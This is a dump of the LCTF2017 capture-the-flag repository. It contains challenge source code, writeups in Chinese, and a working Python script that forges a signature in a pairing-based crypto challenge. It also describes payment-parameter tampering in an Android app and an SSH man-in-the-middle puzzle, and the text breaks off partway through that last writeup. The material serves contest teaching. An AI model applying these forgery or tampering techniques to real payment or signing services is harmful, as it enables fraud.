Repository: LCTF/LCTF2017 Branch: master Commit: b29ea3d1e772 Files: 69 Total size: 159.8 KB Directory structure: gitextract_kggrzwuz/ ├── README.md ├── src/ │ ├── Android/ │ │ ├── Android-WP.md │ │ └── Pay.apk │ ├── crypto/ │ │ ├── py.trade1/ │ │ │ ├── challenge1 │ │ │ ├── challenge1.py │ │ │ └── crypto1.md │ │ └── py.trade2/ │ │ ├── challenge2 │ │ ├── challenge2.py │ │ └── py.trade2.md │ ├── misc/ │ │ ├── raspberry/ │ │ │ ├── README.md │ │ │ ├── docker/ │ │ │ │ ├── sshd/ │ │ │ │ │ ├── Dockerfile │ │ │ │ │ └── dist/ │ │ │ │ │ └── flag.txt │ │ │ │ └── wetland/ │ │ │ │ ├── Dockerfile │ │ │ │ └── dist/ │ │ │ │ ├── exec_service.py │ │ │ │ ├── flag.txt │ │ │ │ └── shell_service.py │ │ │ └── hint.pcap │ │ └── 拿去当壁纸吧朋友/ │ │ └── writeup.md │ ├── pwn/ │ │ ├── 2ez4u/ │ │ │ ├── 2ez4u │ │ │ ├── 2ez4u_exp.py │ │ │ └── 2ez4u_writeup.md │ │ ├── shopping/ │ │ │ ├── shopping │ │ │ ├── shopping.c │ │ │ └── shopping.md │ │ ├── toy/ │ │ │ ├── toy │ │ │ ├── toy_exp.py │ │ │ └── toy_writeup.md │ │ └── 完美冻结/ │ │ ├── exp.py │ │ ├── 完美冻结 │ │ └── 完美冻结.md │ ├── re/ │ │ ├── BeRealDriver/ │ │ │ └── writeup.md │ │ ├── NuclearBomb/ │ │ │ └── writeup.md │ │ ├── YublKey/ │ │ │ └── writeup.md │ │ ├── use your IDA/ │ │ │ ├── decrypt.py │ │ │ └── use your IDA.md │ │ └── 滑稽博士/ │ │ ├── 滑稽博士 │ │ └── 滑稽博士.md │ └── web/ │ ├── l-plarground/ │ │ └── writeup.md │ ├── simple-blog/ │ │ ├── src/ │ │ │ ├── .admin.php.swp │ │ │ ├── .login.php.swp │ │ │ ├── README.md │ │ │ ├── admin.php │ │ │ ├── config.php │ │ │ ├── css/ │ │ │ │ └── login.css │ │ │ ├── index.php │ │ │ ├── login.php │ │ │ └── web1.sql │ │ └── web-f1sh-writeup.md │ ├── wanna-hack-him/ │ │ ├── src/ │ │ │ ├── admin_view.php │ │ │ ├── index.php │ │ │ ├── loghehehaha.txt │ │ │ ├── preview.php │ │ │ └── submit.php │ │ └── wanna hack him-WP.md │ ├── 他们有什么秘密呢/ │ │ └── 他们有什么秘密呢_ writeup.md │ ├── 签到题/ │ │ ├── src/ │ │ │ └── test.php │ │ └── web签到题.md │ └── 萌萌哒的报名系统/ │ ├── .idea/ │ │ ├── modules.xml │ │ ├── test.iml │ │ └── workspace.xml │ ├── README.md │ ├── config.php │ ├── css/ │ │ └── login2.css │ ├── images/ │ │ └── login.js │ ├── index.html │ ├── login.php │ ├── member.php │ └── register.php └── 出题人感言.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # LCTF2017 Source code, writeups and exps in LCTF2017. 欢迎访问我们的主页[http://l-team.org](http://l-team.org),以便查看一篇汇总后的writeup。 ## WEB | 题目 | URL | | --------------- | ---------------------------------------- | | Simple blog | [https://github.com/LCTF/LCTF2017/tree/master/src/web/simple-blog](https://github.com/LCTF/LCTF2017/tree/master/src/web/simple-blog) | | "他们"有什么秘密呢? | [https://github.com/LCTF/LCTF2017/tree/master/src/web/他们有什么秘密呢](https://github.com/LCTF/LCTF2017/tree/master/src/web/他们有什么秘密呢) | | 萌萌哒报名系统 | [https://github.com/LCTF/LCTF2017/tree/master/src/web/萌萌哒的报名系统](https://github.com/LCTF/LCTF2017/tree/master/src/web/萌萌哒的报名系统) | | L PLAYGROUND | [https://github.com/LCTF/LCTF2017/tree/master/src/web/l-plarground](https://github.com/LCTF/LCTF2017/tree/master/src/web/l-plarground) | | wanna hack him? | [https://github.com/LCTF/LCTF2017/tree/master/src/web/wanna-hack-him](https://github.com/LCTF/LCTF2017/tree/master/src/web/wanna-hack-him) | | 签到题 | [https://github.com/LCTF/LCTF2017/tree/master/src/web/签到题](https://github.com/LCTF/LCTF2017/tree/master/src/web/签到题) | ## Binary | 题目 | URL | | ------------- | ---------------------------------------- | | 2ez4u | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/2ez4u | | Shopping? | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/shopping | | toy | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/toy | | 完美冻结 | [https://github.com/LCTF/LCTF2017/tree/master/src/pwn/完美冻结](https://github.com/LCTF/LCTF2017/tree/master/src/pwn/完美冻结) | | BeRealDriver | [https://github.com/LCTF/LCTF2017/tree/master/src/re/BeRealDriver](https://github.com/LCTF/LCTF2017/tree/master/src/re/BeRealDriver) | | NuclearBomb | [https://github.com/LCTF/LCTF2017/tree/master/src/re/NuclearBomb](https://github.com/LCTF/LCTF2017/tree/master/src/re/NuclearBomb) | | YublKey | [https://github.com/LCTF/LCTF2017/tree/master/src/re/YublKey](https://github.com/LCTF/LCTF2017/tree/master/src/re/YublKey) | | 滑稽博士 | [https://github.com/LCTF/LCTF2017/tree/master/src/re/滑稽博士/](https://github.com/LCTF/LCTF2017/tree/master/src/re/滑稽博士) | | use your IDA? | https://github.com/LCTF/LCTF2017/tree/master/src/re/use%20your%20IDA | ## MISC | 题目 | URL | | -------- | ---------------------------------------- | | 拿去当壁纸吧朋友 | [https://github.com/LCTF/LCTF2017/tree/master/src/misc/拿去当壁纸吧朋友](https://github.com/LCTF/LCTF2017/tree/master/src/misc/拿去当壁纸吧朋友) | | 树莓派 | [https://github.com/LCTF/LCTF2017/tree/master/src/misc/raspberry](https://github.com/LCTF/LCTF2017/tree/master/src/misc/raspberry) | | 问卷调查 | Google问卷调查 | ## Crypto | 题目 | URL | | --------- | ---------------------------------------- | | Py.trade | https://github.com/LCTF/LCTF2017/tree/master/src/crypto/py.trade1 | | Py.trade2 | https://github.com/LCTF/LCTF2017/tree/master/src/crypto/py.trade2 | ## Android | 题目 | URL | | ---- | ---------------------------------------- | | 最简单 | [https://github.com/LCTF/LCTF2017/tree/master/src/Android](https://github.com/LCTF/LCTF2017/tree/master/src/Android) | ================================================ FILE: src/Android/Android-WP.md ================================================ #LCTF2017 Android Payme -最简单的题 ##env 1. teamtoken,message,金额 2. 每队初始金钱1k ##思路 1. 无加固,只有JNI_OnLoad函数里对APK签名做了验证,修改之后调试即可; 2. 先submit做请求,然后pay进行支付; 3. 首先encode得到teamtoken,实际上就是做了一次md5; 4. 客户端先传参数到server,然后server sign=md5传回。split处理服务器传回的sign过的params string(message=xxx&order=x&teamtoken=xxx&sign=xxx) 5. app再次求md5,得到signagain post到server,server验证sign和sianagain是否相同。 ##漏洞点 1. 取变量值是直接取split之后vector的固定位置,造成覆盖; 2. server第二次checksign未check金额是否为正,因此此时可以修改post参数值进行充值;(需要覆盖sign值,自己md5求sign进行篡改。) ================================================ FILE: src/crypto/py.trade1/challenge1 ================================================ from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d =************************************* message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = ****************************************** R0 = ****************************************** R1 = ****************************************** R2 = ****************************************** S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = input('message to sign:>>') if "show me flag" in message: return 0 else: signed = sign(message, G, k, g, h, S) print(signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./' + token_str + '/flag') as target: print(target.read()) if __name__ == '__main__': main() ================================================ FILE: src/crypto/py.trade1/challenge1.py ================================================ from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d = 793037328109527789706320712340268433552595221 message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = 14094939963583172636276966553081658504308032 R0 = 237328179307063207109527735525952218934026843 R1 = 191336840599434599808998090521730679425867242 R2 = 337480760318445739989721866372936888349021300 S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = input('message to sign:>>') if "show me flag" in message: return 0 else: signed = sign(message, G, k, g, h, S) print(signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./flag') as target: print(target.read()) if __name__ == '__main__': main() ================================================ FILE: src/crypto/py.trade1/crypto1.md ================================================ # Py.trade ##双线性对 两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质: >e(g^a, h^b) == e(g, h)^(a*b) ##Charm 看到许多人卡在安装charm上,略有些惊讶…… ``` pip install charm-crypto ``` **如果没有安装依赖,是无法直接用pip安装charm的。** charm的文档中描述了charm的依赖包,以及如何手动编译安装。 [官方文档][1] ##Crypto1 ### 0X00. 题目原文 ```python #!/usr/bin/env python3 from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d = *************************************** message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = ************************************************ R0 = *********************************************** R1 = ************************************************ R2 = *********************************************** S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = input('message to sign:>>') if "show me flag" in message: return 0 else: signed = sign(message, G, k, g, h, S) print(signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./flag') as target: print(target.read()) if __name__ == '__main__': main() ``` ### 0X01. 思路 - 从下往上找可以看到,想要获得flag就需要提供sign('show me flag', ...)。 - 再往上看,这个服务能提供所有不包含'show me flag'子串的字符串M对应的sign(M)。显然这里是一个选择明文攻击(CPA)。 - 检查函数sign,发现sign中未引入随机量,据此判断sign没有CPA安全性。 - 分析sign,在选择明文攻击中攻破sign。 ### 0x02. 攻破sign ```python def sign(message, G, k, g, h, S): d = ************************************************ message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) ``` 读读sign,发现这是对ECDSA的拙劣模仿。 sign(M, ...)返回的结果是这样的: >e(g^(S^k), h^(M + d*k)) 其中,S, k, d 三个值现在都不知道;g, h 已知;M可以自由控制但是不能为空,也不能包含子串'show me flag'。 化简一下sign(M, ...)返回的结果: >e(g, h) ^ (S^k * M + S^k * d * k) **一个直观的思路**: - 选择M1, M2,保证 bytes_to_long(M1) - bytes_to_long(M2) = t,t为任意常数 - 请求 s1 = sign(M1, ...) ; s2 = sign(M2, ...) - 选择 M',保证 bytes_to_long(M') + k = bytes_to_long('show me flag') - 请求 s' = sign(M', ...) - 计算: ``` s = s' * (s1 / s2) = (e(g, h) ^ (S^k * M' + S^k * d * k)) * ((e(g, h) ^ (S^k * M1 + S^k * d * k)) / (e(g, h) ^ (S^k * M2 + S^k * d * k))) = e(g, h) ^ (S^k * (M' + M1 - M2) + S^k * d * k) = e(g, h) ^ (S^k * (M' + k) + S^k * d * k) = e(g, h) ^ (S^k * M + S^k * d * k) = sign('show me flag', ...) ``` 至此crypto1的解计算完成。提交时看看题目给出代码中的判断部分注意提交格式。 ================================================ FILE: src/crypto/py.trade2/challenge2 ================================================ from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d = *********************************** message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = ******************************************* R0 = ********************************************** R1 = ********************************************** R2 = ********************************************** S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = 'abcd' signed = sign(message, G, k, g, h, S) print('signed of "abcd":>>', signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./flag') as target: print(target.read()) if __name__ == '__main__': main() ================================================ FILE: src/crypto/py.trade2/challenge2.py ================================================ from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d = 109527787930373289340268433570632071252595221 message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = 14172636276966553081658509493996358304308032 R0 = 237328179307063207109527735525952218934026843 R1 = 191336840599434599808998090521730679425867242 R2 = 337480760318445739989721866372936888349021300 S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = 'abcd' signed = sign(message, G, k, g, h, S) print('signed of "abcd":>>', signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./flag2') as target: print(target.read()) if __name__ == '__main__': main() ================================================ FILE: src/crypto/py.trade2/py.trade2.md ================================================ # py.trade2 ### 0X00. 题目原文 ```python #!/usr/bin/env python3 from charm.toolbox.pairinggroup import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from urllib import parse, request logo = """ _| _|_|_| _|_|_|_|_| _|_|_|_| _| _| _| _| _| _| _| _|_|_| _| _| _| _| _|_|_|_| _|_|_| _| _| _|_| _| _| _|_|_|_|_| _| _| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| """ def sign(message, G, k, g, h, S): d = ******************************************** message = bytes(message, 'UTF-8') message = bytes_to_long(message) if message == 0: message = G.random(ZR) mid = S**k mid = G.serialize(mid) mid = bytes_to_long(mid) P = G.pair_prod(g**mid, h**(message + d*k)) return G.serialize(P) def check_token(token, name): url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/' req = request.Request(url=url) try: res = request.urlopen(req) if res.code == 200: return True except : pass return False def main(): print(logo) S = *********************************************** R0 = ************************************************ R1 = ************************************************ R2 = ************************************************ S1 = S + R0 S2 = S + R0*2 G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' g = G.deserialize(g) h = G.deserialize(h) token_str = input("token:>>") name = input("team name:>>") if not check_token(token_str, name): return 0 else: try: token = bytes(token_str,'UTF-8') token = bytes_to_long(token) except : return 0 if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) S = G.pair_prod(g,h)**S k = G.serialize(S) k = bytes_to_long(k) message = 'abcd' signed = sign(message, G, k, g, h, S) print('signed of "abcd":>>', signed) signed_from_challenger = input('sign of "show me flag":>>') if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger: with open('./flag2') as target: print(target.read()) if __name__ == '__main__': main() ``` ### 0X01. 思路 比赛结束前三小时crypto2放出了hint:“这不止是一道crypto题目,它还是一道……” 两道题目只有几行代码不同,crypto2中**不允许**用户提交自己的字符串。只会返回sign('abcd', ...)。无法选择明文了,允许输入的地方只有三个:token,队名,和最后的变量 signed_from_challenger。其中‘队名’这个变量是打酱油的,丝毫用处都没有。(此处偷偷谴责一下写token校验api的兄台 :-P) 读完代码后应该可以意识到crypto2里sign函数也几乎是打酱油的,全程只有可能执行sign('abcd')与sign('show me flag')。 那么问题肯定出在前面那一坨代码上了。 读一下前面的代码,意识到前面的代码其实是在双线性对映射出的那个群中一点e(g, h)的指数上实现了一个两层递归的 [shamir门限方案][2]。这个shamir树型结构也是CP-ABE(Cipher Policy - Attributes Based Encryption)的基础结构。 图示: ![shamir递归树][3] 题目中如下代码实现了这颗树。 ``` if token%2 ==1: point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h) else: point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h) print(G.serialize(point)) ``` 在实际代码中,奇数选手将得到 e(g, h)^(token*R1 + S1);偶数选手将得到 e(g, h)^(token*R2 + S2)。从更靠前的代码可以看到S1,S2的来源:已知S1,S2时,它们组成了一个简单的二元一次方程组。如果想要恢复出sign函数输入中的S和k,就需要先拿到S,或者拿到S的一些特征,比如说e(g, h)^S。 ``` S1 = S + R0 S2 = S + R0*2 ``` 对于S,如果只知道S1,或者只知道S2,是无法解出S的。毕竟“K元一次方程需要至少K个一组才可能有解,否则一定有无穷多解”。 对于选手能直接得到的 e(g, h)^(token*R1 + S1) ,有两个未知量R1,S1,在只有一个token时也是有无穷多解的。因此需要两个奇数token,两个偶数token才有可能恢复出S(这里对应给出的hint:它不只是一道crypto题目,它还是一道社工题)。在实际操作中,我们只能恢复到e(g, h)^S,不过这已经足够我们求出'show me flag'的sign啦。 因为我们只能得到'abcd'的sign,即 e(g^(S^k), h^('abcd' + d*k)) (注:此处代码前,S被赋值成了e(g, h)^S,详情见题目原文) 在我们能得到S = e(g, h)^S,且可以根据S求得k时,我们就可以给任意消息做签名了。 ### 0X02. writeUp.py ``` from charm.toolbox.pairinggroup import * from Crypto.Util.number import bytes_to_long, inverse def main(): G = PairingGroup('SS512') g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA=' h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA=' # 4 different token. 2 even 2 odd t1 = bytes_to_long(b'4795968fe0bf73a1e39e6fec844dee01') S1 = b'3:cOlYveeItjU4ZHh8B58RjWUYJwdtFi/FXzqtd2GnnqEMJ9AFKzNjV90eUoPDLkinkWsdmbYTJxFTq5bvucwVHE98Uvw2laNvrsCFY9Mw766YdEPAtj7smBt/tIDl+u1mORufxZX8Q31F3dJjnzEoYhlxRZ9e9JFVtK7nW2Di6Iw=' t2 = bytes_to_long(b'f11ca9db1f547b71a1b9592659553814') S2 = b'3:NjqqiCxaQtlFS1FEsSD+jmuO9Z0srysMi4K1nVCg2yAxJRjX62PPMSbY5JAa+Y4Ap25p9+u1EZ05f1RSwOXyZiIAZoDoS0crKDHRLJtE40aswcnPaf1JklMGBOGLdBUOZ3+nknLRDLACyBFnTW8y6FnHzLICGruBHisLhschvHM=' t3 = bytes_to_long(b'97fddec1d9e630075803fc67d4220b05') S3 = b'3:GYcIbust8E1tcYZghIgC4x6YhrAyJUvy0lHHUxfvIOD7S/ann03RFrhO4qKb0jQ4vcU7pHJPv9Q+WDDPV/mAcH224dIfSyGcv91adl0tuhS6z0Fr4tBz03YUFUcGvAvi7bHvjnywwAjkTe1ZmMybyUnc9bMTPUxIZ3kli2b3PRs=' t4 = bytes_to_long(b'adafcd958bbe176dd9cc96ef3aaa6438') S4 = b'3:R7Zhznj9aRtEv9ifZfLf9aqt4PSZzrMCSXuxkwZDdLEC2pqRPC1dWtP41BLR0UbbZVbTyOuojif9HYVuDu7oFSMTtj3zUxwXUW2x5sCYnkY3MOhSKM9JJxzAktSF0H2rIVvw4iBhQoh6Ecy3qRYfjZSha4Bc729DXHbYx0sMxd4=' # SS512's order. get from G.order() order = 730750818665451621361119245571504901405976559617 #init g = G.deserialize(g) h = G.deserialize(h) S1 = G.deserialize(S1) S2 = G.deserialize(S2) S3 = G.deserialize(S3) S4 = G.deserialize(S4) #compute x**S1 t_S1 = ((S1**t3)/(S3**t1))**inverse((t3-t1), G.order()) print(t_S1) #compute x**S2 t_S2 = ((S2**t4)/(S4**t2))**inverse((t4-t2), G.order()) print(t_S2) #compute x**S t = (t_S1*t_S1)/t_S2 print(t) #compute k k = G.serialize(t) k = bytes_to_long(k) #compute mid mid = t**k mid = G.serialize(mid) mid = bytes_to_long(mid) #compute sign signed = b'3:loZKMHi9WWkS46zTQyidX5546U2Sg/JLnNi18X2KRklZdJSth4Kyj5FPg0J8sVpc9hyClgIo2P8xOGsRK6Zxc2AW6euFkyaOUWI9ZmYp2AhE0kcOypR4vASF9vWYtNqj0qlsExtMThSUtS53HYHCczbxcxA2Vcr/tkFagicyU30=' signed = G.deserialize(signed) message = bytes_to_long(b'abcd') signed = signed/(G.pair_prod(g, h)**(mid*message)) message = bytes_to_long(b'show me flag') signed = signed*(G.pair_prod(g, h)**(mid*message)) print(str(G.serialize(signed))) if __name__ == '__main__': main() ``` [1]: https://jhuisi.github.io/charm/install_source.html [2]: https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing [3]: http://on-img.com/chart_image/5a12706de4b0143a78b4a9d4.png ================================================ FILE: src/misc/raspberry/README.md ================================================ # 2017 LCTF misc 树莓派wp ## 刚上线 1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。 2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。 3. 根据题目的提示,按照正常的思维确实应该登录pi:raspberry,本来也是打算设置成这样,但是这个密码太弱了,题目还没上线就被黑铲扫了好几波,直接改密码种木马一波带走了。所以就改了一个需要一些脑洞的密码pi:shumeipai,可能有师傅在这里卡了一下。 ## 第一个hint > hint1: 都告诉你密码了 1. 这个hint主要提示弱密码是什么,因为不想让师傅们耽误太多时间,给出后很多师傅都上来了。 2. 这时候ssh进去会发现是一个低权限帐号,很多操作都受限了,uname看内核版本也很高,这之后很多师傅就开始四处搜刮flag,bash_history、.swp等等,还看了所有文件的修改时间。 3. 但是一番搜索后除了那个假flag什么发现也没有。在搜索的过程中,查看主机的网络状态`netstat -autpn`,会发现所有的ssh连接来源都是172.18.0.3,在这里应该会产生一些疑问,ping172.18.0.1、172.18.0.3都是通的,pi本机是172.18.0.2。 4. 这时候可以猜测,ssh连接被0.3动了手脚,通过ssh的指纹完全可以验证0.3是师傅们和0.2之间的中间人。 5. 下图是我们ssh连接时收到的公钥指纹: ![](pic/1.png) 6. 下图是172.18.0.2主机sshd配置文件夹中的公钥: ![](pic/2.png) 7. 可以看出两者是不一样的,所以验证了0.3在做SSH连接的中间人的猜测,这样一来有很大可能真的flag在0.3里。 ## 第二个hint > hint.pcap 1. 这是一个很重要的hint,流量中出现的主要IP是`172.180.2 172.180.3`,在流量包里可以看到明显的特征: 在建立了SSH连接后,外网发给0.3的加密数据包,0.3会先与0.2通信,0.2返回给0.3数据后,0.3再返回给外网的ip,在这里也能够证实0.3在做ssh的中间人。 2. 